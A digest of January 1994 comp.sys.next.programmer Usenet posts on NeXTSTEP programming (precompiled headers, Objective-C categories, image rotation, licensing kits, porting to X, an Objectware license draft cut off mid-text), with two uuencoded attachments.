From: premise@martial.ccs.itd.umich.edu (Sean Michael Willson) Newsgroups: comp.sys.next.programmer Subject: Programming Company Date: 14 Jan 1994 03:08:50 GMT Organization: University of Michigan - College of Literature, Science, and TheArts Message-ID: <2h52c2$50i@controversy.math.lsa.umich.edu> I am a computer programmer who is going to be starting a small software development company and I was wondering (this is kind of like a survey) what applications people would like to see developed and on which platforms and OS's they would like to see them run? Any help would be much appreciated...please reply. Also does anyone know of maybe a trade paper or news group that advertises possible job offerings or contract biddings for jobs. Any company's would be greatly appreciated. Sean M. Willson -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9G-W:7-S($AE;'9E=&EC83M<9C%< M9FUO9&5R;B!#;W5R:65R.WT*7&UA<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT M>#4R,%QT>#$P-C!<='@Q-C`P7'1X,C$R,%QT>#(V-C!<='@S,C`P7'1X,S<R M,%QT>#0R-C!<='@T.#`P7'1X-3,R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF M8S!<8V8P($D@86T@82!C;VUP=71E<B!P<F]G<F%M;65R('=H;R!I<R!G;VEN M9R!T;R!B92!S=&%R=&EN9R!A('-M86QL('-O9G1W87)E(&1E=F5L;W!M96YT M(&-O;7!A;GD@86YD($D@=V%S('=O;F1E<FEN9R`H=&AI<R!I<R!K:6YD(&]F M(&QI:V4@82!S=7)V97DI('=H870@87!P;&EC871I;VYS('!E;W!L92!W;W5L M9"!L:6ME('1O('-E92!D979E;&]P960@86YD(&]N('=H:6-H('!L871F;W)M M<R!A;F0@3U,G<R!T:&5Y('=O=6QD(&QI:V4@=&\@<V5E('1H96T@<G5N/R`@ M06YY(&AE;'`@=V]U;&0@8F4@;75C:"!A<'!R96-I871E9"XN+G!L96%S92!R M97!L>2X@($%L<V\@9&]E<R!A;GEO;F4@:VYO=R!O9B!M87EB92!A('1R861E M('!A<&5R(&]R(&YE=W,@9W)O=7`@=&AA="!A9'9E<G1I<V5S('!O<W-I8FQE M(&IO8B!O9F9E<FEN9W,@;W(@8V]N=')A8W0@8FED9&EN9W,@9F]R(&IO8G,N M("!!;GD@8V]M<&%N>2=S("!W;W5L9"!B92!G<F5A=&QY(&%P<')E8VEA=&5D 9+EP*7`I396%N($TN(%=I;&QS;VY<"@I]"B!G `
Newsgroups: comp.sys.next.programmer From: BrianW@SoundS.WA.com (Brian Willoughby) Subject: Precompiled headers (Re: HELP: Multiple Declarations of maxValue ...) Message-ID: <CJLrAq.B1C@sounds.wa.com> Sender: brianw@sounds.wa.com (Brian Willoughby) Organization: Sound Consulting, Bellevue, WA, USA References: <1994Jan8.233639.473@afs.com> Date: Fri, 14 Jan 1994 04:32:49 GMT Gregory H. Anderson writes | Actually, you've run into a NeXT-induced problem. When you #include | appkit.h, you get all the kits glommed into one. At some point in the | past, two different programmers at NeXT got the idea to call a method | 'maxValue'. Unfortunately, the return types differ, so you will get this | warning every single time you compile a program that uses this method. | There is no way to work around this message unless you dump appkit.h | in favor of just the needed #include files. Given how much faster the | compiler runs with appkit.p, I don't recommend that. This drives me nuts | because I don't consider software solid if you're still getting warnings, | but I've learned to live with it. A better deal than living with NeXT's appkit.p is to create your own. An advantage of this is that the file is smaller, and can even contain precompiled versions of your own header files, all under automatic control of the Makefile and compatible with ProjectBuilder. I add the following to every project that I create or update: # # Makefile.preamble # # Precompiled headers to be built before any compilation occurs (e.g., draw.p) PRECOMPS = Project.p # EOF # # Makefile.postamble with Project.h precompiled header support # Project.p: $(HFILES) # EOF Make sure you double-click the "Supporting Files" suitcase in ProjectBuilder and add these two files so that 'make installsrc' will carry along the custom Makefile additions. All you need at this point is a new header file called Project.h which contains all the NEXTSTEP and local headers that you use in the project. An easy way to get a list is to execute the following: egrep -h '^# *i[mn]' *.[cm] | sort -u > Project.h The resulting output could be piped into Project.h as above, but I usually hand edit a descriptive comment header at the beginning of the file and group the includes into AppKit, PostScript, Common, wraps, Local Categories, and Local Objects I hope the use this idea helps some programmers with compile time! None of my source files seem to take any longer than 6 or 7 seconds to compile, because all the headers that are touched are precompiled. P.S. You will still have to use the casting suggestion from other followups to this thread if you need to include conflicting headers, but the method I use means that I don't have to remember to cast calls to certain methods just to avoid spurious warnings. Enjoy, -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Any way to write direct to Screen RAM on the NeXT ?? Message-ID: <1994Jan13.204510.503@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <2gtvnu$d4l@news.u.washington.edu> Date: Thu, 13 Jan 1994 20:45:10 GMT In article <2gtvnu$d4l@news.u.washington.edu> zeno@abstractsoft.com (Sean T. Lamont) writes: -> In article <1994Jan5.162737.26439@ousrvr.oulu.fi> donnelly@galba.cs.qub.ac.uk (Paul Donnelly) writes: -> >Hello, -> > -> > I guess this is not something most people want to do -> > on their NeXT worksatation but I was wondering if there -> > was any way to write straight to Screen RAM from an -> > assembler program on the NeXT? [code sample reply omitted] For some reason, 3.2 developers seems to be missing a /usr/lib/libVPC_s.a WHY!!!!!!! The shared library is there in FIP -- is it there in m68k to poke a hole through the windowserver via a dedicated window? I haven't looked yet, but presume it is. Arrggggg..... Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: getting local machine's ethernet address Message-ID: <1994Jan13.205914.625@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <9401111837.AA09191@Cranach.tms-gmbh.de> Date: Thu, 13 Jan 1994 20:59:14 GMT In article <9401111837.AA09191@Cranach.tms-gmbh.de> gerti@tms-gmbh.de (Gerd Knops) writes: -> EPS writes: -> -> > [munch] -> > On "White Hardware," hostid is ZERO. -> > [munch] -> -> Don't count on that! Though it was true for 3.1, it seems, -> that with 3.2 and white hardware in a network, again part -> of the ethernetID is returned. I din't find time yet, to -> exactly figure out, when and what is returned. With the recently (and consistantly) posted kernel patch which enables the "sethostid()" function and it's hostid(1) utility equivalent, for changing hostid number... Is not the use of hostid as more secure than hostname a bit moot? Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Looking for "Shelf" view Message-ID: <1994Jan13.211901.941@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Jan12.214031.15707@il.us.swissbank.com> Date: Thu, 13 Jan 1994 21:19:01 GMT In article <1994Jan12.214031.15707@il.us.swissbank.com> bakerb@il.us.swissbank.com (Brian Baker) writes: -> Greetings, -> -> I'm trying to locate a view which implements a shelf similar to the one in -> the Workspace file browser. If anyone knows where I can find such a -> thing, either as a commercial product or PD source code, please let me -> know. -> -> Thanks, -> Brian Baker. -> bakerb@swissbank.com -> bbaker@its.com NeXTSTEP 2.1 Developer: /NextDeveloper/Examples/ToolInspector implemented multiple drop and drag-from wells for icons within the app. /NextDeveloper/Examples/Acceptor implented drag-in of external objects passed along from Workspace. I believe it's been posted on ftp sites since it was dropped from the distribution. All you have to do is put a button in each drag-well -- and can use it also to "hold" the drug image.when on the shelf. Of course dragging was changed for 3.x, with the advent of the NXDraggingProtocol, which is why (I'd presume) that the example was dropped. Although the "AcceptWindow" View was implemented to accept dragged items to/from within the app, only... the extension under 2.x to implement the full functionality you're talking about should be easy to synthesize between that and Acceptor.app another dropped demo, for the same reason. While these will not be identical for 3.x, it's a matter of upgrading from outdated examples rather than creating from scratch... Bruce Gingery bruce@TotSysSoft.com
Newsgroups: comp.sys.next.programmer From: bruce@TotSysSoft.com (Bruce Gingery) Subject: Re: Looking for scrolling icon view Message-ID: <1994Jan13.221200.893@ToTSySSoft.com> Sender: news@ToTSySSoft.com Organization: Total System Software References: <1994Jan12.214321.15769@il.us.swissbank.com> Date: Thu, 13 Jan 1994 22:12:00 GMT In article <1994Jan12.214321.15769@il.us.swissbank.com> bakerb@il.us.swissbank.com (Brian Baker) writes: -> Greetings, -> -> I'm trying to locate a view which implements a scrolling -> list of icons similar to the list above the browser in the -> Workspace file viewer. If anyone knows where I can find -> such a thing, either as a commercial product -> or PD source code, please let me know. -> -> Thanks, -> Brian Baker. -> bakerb@swissbank.com -> bbaker@its.com Brian, Right in Interface Builder... Sample enclosed below. Thrown together in 5 minutes. One to build it and four to make different icons in the sample... Bruce Gingery bruce@TotSysSoft.com begin 664 SampleScrollingIcons.nib.compressed M'YV04\*T@<.FS)0Q<MZP89/&S9DD8]ZXF>/"31HQ+P!HW,BQH\>/($.*'!D2 MA,D;-6J``&`21`P:-%:V-`E#YLR;-4&DC%%C!@V>-V:8?,F3!LL:)),J7<JT M:=(Z<^B$D6,2@!@Y=<:4<1KR#IHR9=AP'4NVK-FS:-.JW1AP8,&#"1<V?!AQ M8L6++\B$D>IB#)LP<^:4F;.VL,>6-F#:=*F8Y<R:CF^ZA&'#Y,Z>/VL$'6JC M!HP8+&$8'DWZ(U2I5%=>S;HUK5>P8DO+GDV[MFPC:>1$E3(8CD0R9:CV`+%' MP<P@0Z@D>>)D"HCAQ6?VV6&\Y90J4(I(&<(DR!3GPY^(45-F#!WJTQ787L^^ MO?OW\./+G]^T+4&#"!4R=`A1(D6+&.G%%X#T<8588RV]%%-D-"TV$PTRT""4 M3C7PY!-0$_*4F`RA%>@A`*=-5=5J6JGU6E@?IJCBB@0L0$<><)1!1E1RE"%0 M(`.(0D@`0!#B(P-)""$>>>81L5<8`/AHP)#ET0%`(80(`$0:/A+"P!"GO=$& MD^8!0$F4*O1(22&&:!`E$#WZJ(`0==!!AT1#A,5&`&H&85X:<,I))R$$Q+E0 M`%\2$&9@/B;I(P%&2$2'`(&68`:A"2`1EAUET)'&&&$P`$`@@`A@2"`K:"0) ME`*DH<.34086"`#(9,!)(84$<@@0`&!2Y0%.8)%$&V&<40:CJ:H0B`%P^+A` MKI*R`4<2;@"'AR%D5FE`$WO)D08>!?AXP!"*QF4H`5:D4<8=AB;`VQR^-1N< MEY)4B<`0#,$1[K@#E-*NFG#I-^\=`=A+B+U0!F!&D@288;`9`0002`!#K"I( M*QHMW#``@HPZ*I]`!)8FGTRD$16@.Z9A`)];V`!$%U4F0$49>-"!6UAD`$"* M)*NP`D`K4G2P:B820+PI`#S3/*HKL2*@$90#I)&QH80TL'+++[-!AI]S:L*) MCQ6(D0<(+G1MDA!8:07"$7,%EP<AGGP"B@,`>#JLJ(6$@JH`!O^39`!C"'"+ MV\``8'$A%P>@0[2OT&QS*P08('$#/B\N="%$!V+TD[,D&<O5A`#!+1QY6'L& M&G1(YE(..=#`0DM4O"$5&R!,D4=49;31^AMFT'''5&6<;E(0<X`0!@C<+M0D MGFZ@K;9Z;A\`M]R%V/+/(#ZHHLHJ>^_]:=]_CXI+M#X.(,0;>`!@;\TW#S## MPE\(T'@`Z3_N"B&MP$(G`5O$</*_DN!RN``"++S%S1$+P/_R-[1"',T0GPK` MT6RA$4(,`$US(,0FKJ:+3@1">0`PQ"X"T3=#$"(7AKN9`#*`/O4%L'VK&!K\ MY+<+_/EB?_T3(``W)4-)^**`!TS@`C7""PE2T((8-`0P.)A!0A2.?*TPP@`D M8`&?,=%]13M:Y0AQ.1\%8!S&(X0!7-<&,2@$`IOJU*<,L+PG.0]ZTJ.>WOCF M-\"Y<7N&2(4A#GBX`-1@84)HPOKRZ+X5#H!D,SC9*=R5+^')06:22,7A.,$) M"23!B4E(9`$#D0DI/BD04/!;*OAD,!T0)DD,^`(9WE#(@LA!!X&`@*<(D8Q$ M[B\'"_-!SP(H2TE"+E:5I-PEH:')8```>J=HA2^$$0A8#`"!@4C$I@2`*@.@ M"0@&FP,RE'$*!2@@$%3((`QC:8/U^<`&MGQ?_`*P"U%\*@,0@`#2H#D'40SB M!RJ8'J<(L+=1&>)P$1O`,KJ9SWU*XA23Q``-@5"(*6;B518,51N9)XI5M>I5 ML3($K6P%"E(,JUB$@$"N@&.&,-2!#5*!`QPN)1%H7:^-V8/2`8"@@RFEX:4K M?``A"E"_&IR,&80X:"$2NKP`%**AK'(5K`(AT5H1HJ(7]5$#-EJ&CG[44G4Q M:4X1"JKE">"G#A5J1"=Z5(L22ZFY<L*XH/`&.=!!#F%(`QVDJE.>+G0`6`TJ M1(G*5:1^E1`.".NXF!"&9LT!4S%B*U45.JI0$""N#QWJK(QJ5XP^`%EA@8,0 MPC"&-9R5LFL0[$ZKNM`"(%:KLJJK5S&J`,@J"S?-TJQ;"_LDH"9VJXP=K8\0 MD*LQH.$-;Q",:CG+VL_.=;$4E2TACH4%:IW!(F80EQQ,:JN#$J(3JXU;:[/Z M6]$FE1`2R%7PR@J%2ZTA.%?X2EAV2UCI^E:QUKTK;;%0!3@(J`SD+>-Y8P7< MKEYWO8E:R!ON$-^%3E>NZ(WM=2.@785PU[O!J8)@EANMMO+6O*X%;5&#>UU< M80&M9,!3?WL;X>H*F!!BZ%X81&I2:!7B'_\(P`-LT0,;V((`!"`$`@R&IA'H MP),HAI*#R\M0Z@88$_8@DR:&*@@`5,]3F'B'*##!CB6G8\F[P`4F7+$*3-"B MRO58,C.6#(TERV/)P/`%)LJQ9%]4F1M+3D65J^2`*S1DE'=8F5OV4@9`M6(- M"R.!Q!Q&"`6\]*4J"'3&@!```02@R`!XAP=\9`'[%*1U^9&+0T#0GXD0`A4^ M*@`4^AJ6500"#G@HQ"V,G,%*8`(7519%*C#QC26+8\G36'(VEFR-)0^CRJO( M!RP$<"85Y.-0S#+#&[11B1_AIB`GZ-T3[N"&X,#";RO,H#U71.UJ6_O:V,ZV MMK?-[6Y[^]O@#K>XQTWN<IO[W.A.M[K7S>YVN_O=\(ZWO.=-[WK;^][XSK>^ H]\WO?OO[WP`/N,`'3O""&_S@"$^XPA?.\(8[_.$0C[C$)T[QBEM\--[X ` end
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: What Categories are good for ( was Re: Precompiled headers (Re: HELP: Multiple Declarations of maxValue ...)) Message-ID: <1994Jan14.091253.13999@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994Jan8.233639.473@afs.com> <CJLrAq.B1C@sounds.wa.com> Date: Fri, 14 Jan 1994 09:12:53 GMT All this talk of precompiled headers and avoiding warnings brings to mind something I came up with the other day: For the next mini-release of some of my WavesWorld palettes (beta2), I wanted to include as an example a plug-in for 3DReality that reads my modeling language, eve. Since Stone Design has their own subclass of N3DShape (as do I), I was trying to figure out how to insert my own class in there. I thought about the poseAs: stuff, which has always kinda frightened me, and then Categories, which I've never understood the reason for (you thought that class used that method - nope, not in this bundle it doesn't!). Anyway, after floundering around for awhile, I punted and subclassed. As I was recompiling my palettes, I watched all the warnings pass by for "Button does not respond to - getInspectorClassName", etc., which I get because I use the alt-click trick in IB to bring up a subclass's super inspector. Well, I damn well know that Slider, SliderCell, TextField, TextFieldCell, NXColorWell, Button, and ButtonCell all respond to that method. It's not my fault that NeXT messed up and didn't declare those methods in their header files... Hmmm... what if - yea, what if I had a header file that declared a Category for each class and declared that method? Call it "avoidStupidWarnings.h" and it would look something like this: @interface Button(IBInspector) - (const char *)getInspectorClassName; @end // repeat for Slider, SliderCell, TextField, TextFieldCell, NXColorWell, // and ButtonCell et voila! no more stupid, useless warnings. I was so pleased with myself - finally a good use for Categories! enjoy. - wave -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: eps@futon.SFSU.EDU (Eric P. Scott) Subject: Re: Help: Rotating NXImage Message-ID: <1994Jan14.090305.3381@csus.edu> Sender: news@csus.edu Organization: San Francisco State University References: <2h159s$qrq@access3.digex.net> Date: Fri, 14 Jan 1994 09:03:05 GMT In article <2h159s$qrq@access3.digex.net> jimb@access3.digex.net (Katana Pilot) writes: >Does anyone have an NXImage subclass which will rotate its image? >(Or do you know how to do it easily?) I just need to rotate 90 degrees >about the center of the image. You may have an easier time dealing with NXImageRep subclasses, e.g. subclass NXEPSImageRep, adding something like - prepareGState { NXSize s; float m[6]; [super getSize:&s]; m[0]=0.0; m[1]=1.0; m[2]= -1.0; m[3]=0.0; m[4]=s.height; m[5]=0.0; PSconcat(m); return self; } Load the image into your NXEPSImageRep subclass, do a getSize:, alloc an NXImage and initSize: (swapping height and width), then do a useRepresentation: to associate the subclass with the NXImage instance. [Where's Ali Ozer when you need him? :-) ] -=EPS=-
Newsgroups: comp.sys.next.programmer From: geetha@solana.com Subject: Re: How to deliver an application... Content-Type: text/plain Sender: usenet@mv.mv.com (Mark E. Mallett) Mime-Version: 1.0 Organization: MV Communications, Inc. Date: Fri, 14 Jan 1994 07:54:31 GMT Message-ID: <geetha.94Jan1475431@ganesha> Distribution: fj Solana Systems, will be releasing a productized version of Paul Murphy's groundbreaking licensing kit, designed specifically to meet the needs of the NeXT community. Since it is designed as a kit, LK provides a unifying framework as well as support code for the developer. It does not force a developer to choose any particular encryption method, license format or even any particular licensing philosphy. The LK adjusts to your needs yet provides the code and objects you need to quickly impleme nt your licensing code. It features: A distributed object based license server. Licensing of third party objects. A License Manager object designed to become part of the licensed application/object kit and interface with the license server. An architecture which easily allows for the maintenance of floating licenses. An administrative tool which provides support for the licensing system. An end-user package (.pkg) which is designed to be shipped with the application. This package provides for the complete configuration of the licensing system. The licensing system will be offered FREE, except for distribution costs, to all NeXTStep Users. Developers will not be charged for the license kit but will pay $1 for each user license sold ( 20 user license ==> $20 fee ) with a minimum fee of $99 per product for which the developer collects a fee. Please contact us to receive a pre-beta licensing kit for your inspection. Geetha M. Brown Solana Systems geetha@solana.com
Newsgroups: comp.sys.next.programmer From: geetha@ganesha Subject: Re: How to deliver an application... Content-Type: text/plain References: <geetha.94Jan1475431@ganesha> Followup-To: Previous reply Sender: usenet@mv.mv.com (Mark E. Mallett) Mime-Version: 1.0 Organization: MV Communications, Inc. Date: Fri, 14 Jan 1994 08:18:08 GMT Message-ID: <geetha.94Jan148188@ganesha> Distribution: fj Hi, My previous reply was sent too soon, before finishing the artilcle completly. After reading your article we think our License Kit will meet your needs. Solana Systems, will be releasing a productized version of Paul Murphy's groundbreaking licensing kit, designed specifically to meet the needs of the NeXT community. Since it is designed as a kit, LK provides a unifying framework as well as support code for the developer. It does not force a developer to choose any particular encryption method, license format or even any particular licensing philosphy. The LK adjusts to your needs yet provides the code and objects you need to quickly impleme nt your licensing code. It features: A distributed object based license server. Licensing of third party objects. A License Manager object designed to become part of the licensed application/object kit and interface with the license server. An architecture which easily allows for the maintenance of floating licenses. An administrative tool which provides support for the licensing system. An end-user package (.pkg) which is designed to be shipped with the application. This package provides for the complete configuration of the licensing system. The licensing system will be offered FREE, except for distribution costs, to all NeXTStep Users. Developers will not be charged for the license kit but will pay $1 for each user license sold ( 20 user license ==> $20 fee ) with a minimum fee of $99 per product for which the developer collects a fee. Please contact us to receive a pre-beta licensing kit for your inspection. Geetha M. Brown Solana Systems geetha@solana.com
Newsgroups: comp.sys.next.programmer From: clloyd@gleap (Charles C. Lloyd) Subject: Re: What Categories are good for ( was Re: Precompiled headers (Re: HELP: Multiple Declarations of maxValue ...)) Message-ID: <1994Jan14.145018.2168@gleap.sccsi.com> Sender: clloyd@gleap.sccsi.com Organization: GiantLeap Software References: <1994Jan14.091253.13999@news.media.mit.edu> Date: Fri, 14 Jan 1994 14:50:18 GMT Michael B. Johnson writes >et voila! no more stupid, useless warnings. I was so pleased with >myself - finally a good use for Categories! > You've got to be kidding!?! Categories are extremely useful and you should be using them every day. I have written hundreds of category methods for the appkit alone. Unfortunately, most people think they are merely an organizational tool. I almost never use categories to break up the implementation into smaller chunks. Rather, I use categories to add functionality to existing classes (read appkit and objc classes) which don't do things I think they ought to do. There's no way NeXT could have anticipated everything we out here in programmer land would like to do, but with categories, we can make it fell like they did (by adding the methods ourselves). And why is this better than subclassing? Because there are many times when we don't have control over the class of the object in question. For example, consider the cellList of a Matrix. This is an instance of List (and there's no way to change that short of replacing the instance itself). Let's say you write some iteration methods that walk through a List. If you use subclassing, you won't be able to walk through the cellList of a Matrix because its not your subclass. If you use categories, you can attach your code to the List class and take advantage of your iteration methods for cellList just as if NeXT had supplied it. Charles. -- Charles Lloyd clloyd@GLeap.sccsi.com GiantLeap Software (713) 292-5853 or 363-9001 (Hou) (713) 363-9763 (fax)
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Porting NS prototypes to X-windows Date: 14 Jan 1994 11:57:12 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401141758.AA13429@cantina.lanl.gov> Greetings all, I have run into the following stumbling block when I am pitching NEXTSTEP to prospective clients, such as yesterday afternoon. I went through what I consider as a succesful demo of a prototype of a NS front-end to a Fortran batch code that my potential client sells to engineering firms for doing fluid dynamics calculations. In the end his reaction was, essentially: "Well, nice, but I don't want to force MY customers into using a platform they've never heard of or don't want to get into. How hard would it be to develop your front-end for my code and then, when we're happy with it, port it to X?" OK, I don't know very much about X-windows, so I am passing the question along to you folks. Surely this must be a common situation we NEXTSTEP developers face, but I don't recall ever seeing a discussion about it here in this newsgroup. (Maybe I just wasn't paying attention?) Some questions: 1. I was making the (unsubstantiated?) claim that NS development was about four times easier (faster, simpler, cleaner, etc.) than X-windows development. True? 2. Is the NS developers' environment "richer" than that for X? I.e., is it more straightforward to port from NS to X, or vice versa? 3. Are there toolkits available that can facilitate the port? 4. Anybody have any war stories about doing such ports that they want to share? I suspect that I'm going to need good answers to these questions, perhaps even others, if I'm going to make that sale. And such situations may well arise for others from time to time. Thanks for your anticipated postings, and here's hoping for a nice (new?) thread. Dick Silbar WhistleSoft, Inc.
Newsgroups: comp.sys.next.programmer From: thf@zelator.in-berlin.de (Thomas Funke) Subject: Re: libg++ 2.5.3 on NEXTSTEP 3.2 Message-ID: <1994Jan13.122119.944@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <1994Jan10.222343.13965@rna.indiv.nluug.nl> Date: Thu, 13 Jan 1994 12:21:19 GMT In article <1994Jan10.222343.13965@rna.indiv.nluug.nl> gerben@rna.indiv.nluug.nl writes: > > I tried to install libg++ 2.5.3 on NEXTSTEP 3.2, I did succeed, > and now I have to g++ include directories. One under gcc-include > in /usr/local/lib which contains the original NeXT version and > one in /usr/local/lib/g++-include. > > I tried to compile stuff (in fact LEDA) with it but all include > files are not found, e.g. like <iostream.h>. > > Isn't g++ (or gcc 2.5.7 if called as g++) supposed to be able to > find these include files. > > What did I do wrong when installing this? gcc 2.5.7 and libg++ 2.5.3 work perfectly on NeXT if you didn't patch the install: /tmp> cat x.cc #include <iostream.h> main() { cout << "Hello world\n"; } /tmp> gcc x.cc -lg++ /tmp> a.out Hello world /tmp> -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.in-berlin.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: mcgredo@crl.com (Donald R. McGregor) Newsgroups: comp.sys.next.programmer Subject: Obj-C in OpenStep Date: 14 Jan 1994 10:34:23 -0800 Organization: CRL Dialup Internet Access (415) 705-6060 [login: guest] Distribution: world Message-ID: <2h6ojf$9r5@crl.crl.com> Is Objective-C going to be the primary language in OpenStep? -- Don McGregor | If you move often enough, you never have to mcgredo@crl.com | clean the bathroom.
Newsgroups: comp.sys.next.programmer From: k92-kum@tekn.hj.se (Martin Kullberg) Subject: Fsp for NeXT? Message-ID: <k92-kum.22.758569200@tekn.hj.se> Sender: news@news.chalmers.se Organization: H|gskolan i J|nk|ping Date: Fri, 14 Jan 1994 17:40:00 GMT Has anyone out there ever managed to compile an fsp client on a NeXT? If anyone has I would apreciate if I could get hold of that specifik client. I have tried fsp271 but it would compile. Thanks in advance Martin Kullberg
From: Roland Telfeyan <roland@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: why is -free not called? Date: 14 Jan 1994 19:38:02 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2h6saq$qll@zip.eecs.umich.edu> In a word: How can an object make sure that it receives a message when it is being deallocated? I have a custom object in a nib module that forks a process. The object must terminate the process when the application quits. It could be a delegate of NXApp, but, all the same, I notice that the free method of my custom object is never called. How can I get it to be called? I thought every object gets a -free call when it is deallocated. Thanks, Roland
From: yhe1@cc.swarthmore.edu (File¨) Newsgroups: comp.sys.next.programmer Subject: help w/ dragging/dropping icons Followup-To: comp.sys.next.programmer Date: 14 Jan 1994 19:42:21 GMT Organization: Swarthmore College Distribution: world Message-ID: <yhe1-140194143022@mac13.hicks.swarthmore.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hello Everyone, I posted a similar message some time ago but did not get any answer. So here it is again (sorry about that, it's driving me nuts in a way.) In my program I can drag icons from a window and drop them anywhere inside another window. This mechanisim works perfectly except when a user first logs in. The accepting window does not accept any icons after a user first logs in. After I drag a non-local icon (an icon from outside the application) and release it on top of the accepting window, the non-local icon slides back (because the accepting window was made to refuse non-local icons), FROM THIS MOMENT ON and before I log out again, the accepting window works perfectly again, even if I quit the app. and then restart it, as long as I do not log out. The problem seems clear enough: some variable(s) (env var?) need to be set appropriately. Dragging and releasing a non-local icon in the accepting window successfully resets that variable (those variables). The question is as stupid as it can be: WHAT IS (ARE) THAT (THOSE) VARIABLE(S)??? Any help/pointer/pill would be greatly appreciated.
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.programmer Subject: Palettizing a Box subclass. Date: 14 Jan 94 14:31:10 Organization: Is a sign of weakness Distribution: world Message-ID: <SCOTT.94Jan14143110@nic.gac.edu> Anyone ever managed to build an IB palette of a Box subclass? Apparently Box's use a magical cover view, because when I make changes from my inspector, the changes are not reflected in the view's look until I do something odd, like resize the window. Alternately, anyone know how to build a custom view that lets you drop new elements into it, like Box's do? Thanks, -- scott hess <scott@nic.gac.edu> <I can handle NeXTMail, but don't like it> Home: 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Office: 101 W. Burnsville Pkwy, Suite 108F, Burnsville, MN 55337 890-1332 <I hate when something I've never heard of is called "The world famous ...">
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Palettizing a Box subclass. Message-ID: <1994Jan14.221522.28237@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <SCOTT.94Jan14143110@nic.gac.edu> Date: Fri, 14 Jan 1994 22:15:22 GMT In article <SCOTT.94Jan14143110@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes: >>Anyone ever managed to build an IB palette of a Box subclass? >>Apparently Box's use a magical cover view, because when I make >>changes from my inspector, the changes are not reflected in the >>view's look until I do something odd, like resize the window. >> SwitchView (in Thomas Burholder's awesome TTools mini-example) is a subclass of Box. One of my all time favorite objects... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Objectware License Agreements Message-ID: <1994Jan14.231523.15056@CSD-NewsHost.Stanford.EDU> Date: 14 Jan 94 23:15:23 GMT Sender: news@CSD-NewsHost.Stanford.EDU Organization: Computer Science Department, Stanford University, California, USA I'm about to release some Objectware to the net and would appreciate feedback on the license I'm intending to include. The license is unique in that it tries to make the code free for noncommercial usage, but costing dollars for commercial use. Any and all comments are welcome. --- Scott Roy Department of Computer Science Stanford University ------------------------------------------------------------------- PREAMBLE This license is designed to address shortcomings in the way that Objectware is currently written and distributed. My work as a developer has shown me a few fundamental truths: 1. Source code is indispensable. 2. It's hard to justify paying for objects if one doesn't plan to make money from them. 3. If one does plan to make money, it's still nervewracking to pay large dollars up front before even getting to see what one is buying. 4. It's very hard to assess how much objects are worth at the beginning of a programming project, because one can only rarely determine how heavily they'll be used in the final application. 5. For small developers, it's doubly hard to justify the cost of Objectware, since one rarely has a good estimate of how successful a potential application will be. In short, the proper time for a programmer to assess how much Objectware is worth is after he's built an application with it. Only then can he decide whether the asking price is worth paying, because only then can he decide how much work it would require to implement equivalent functionality himself. The intent of this license, then, is to allow developers to freely distribute and try out this code, with the caveat that people pay for what they use commercially. As the author, I'm obviously hoping that you'll build your applications around it, then decide that it's worth paying what I ask rather than coding everything from scratch yourself. But the intent is that you should make that decision after you get your program working. As a software developer, you should be free to write your programs with access to all the Objectware in the world. Then, when your application is finished--when you know exactly the functionality you need--you can decide what to pay for and what to write yourself. This concept is very similar to shareware, but the license goes a little bit beyond that, since it also guarantees that you can use this code for free as long as everything you produce with it is freely available to others. FREE DISTRIBUTION This code may be freely distributed, in whole or in part, in source or binary form, as part of a finished application or as part of Objectware, provided only that this license agreement is included in its original, unaltered form. DERIVED OBJECTWARE You may freely distribute Objectware derived from the this class library, either in source or object form, under the following conditions: 1. You clearly indicate your modifications or extensions to the original code. 2. You include a copy of this license agreement. 3. You make clear that using Objectware derived from this code constitutes use of the original class library. Accordingly, any such use is bound by the appropriate commercial and noncommercial clauses of this license. NONCOMMERCIAL LICENSE You may use the code free of charge for any purpose whatsoever, provided only that anything you produce with it is publicly announced and available free of charge to anyone that wants it. COMMERCIAL LICENSE If you find the terms of the noncommercial license unacceptable, you can purchase a commercial license under either of the following two plans: 1. If the code is directly producing 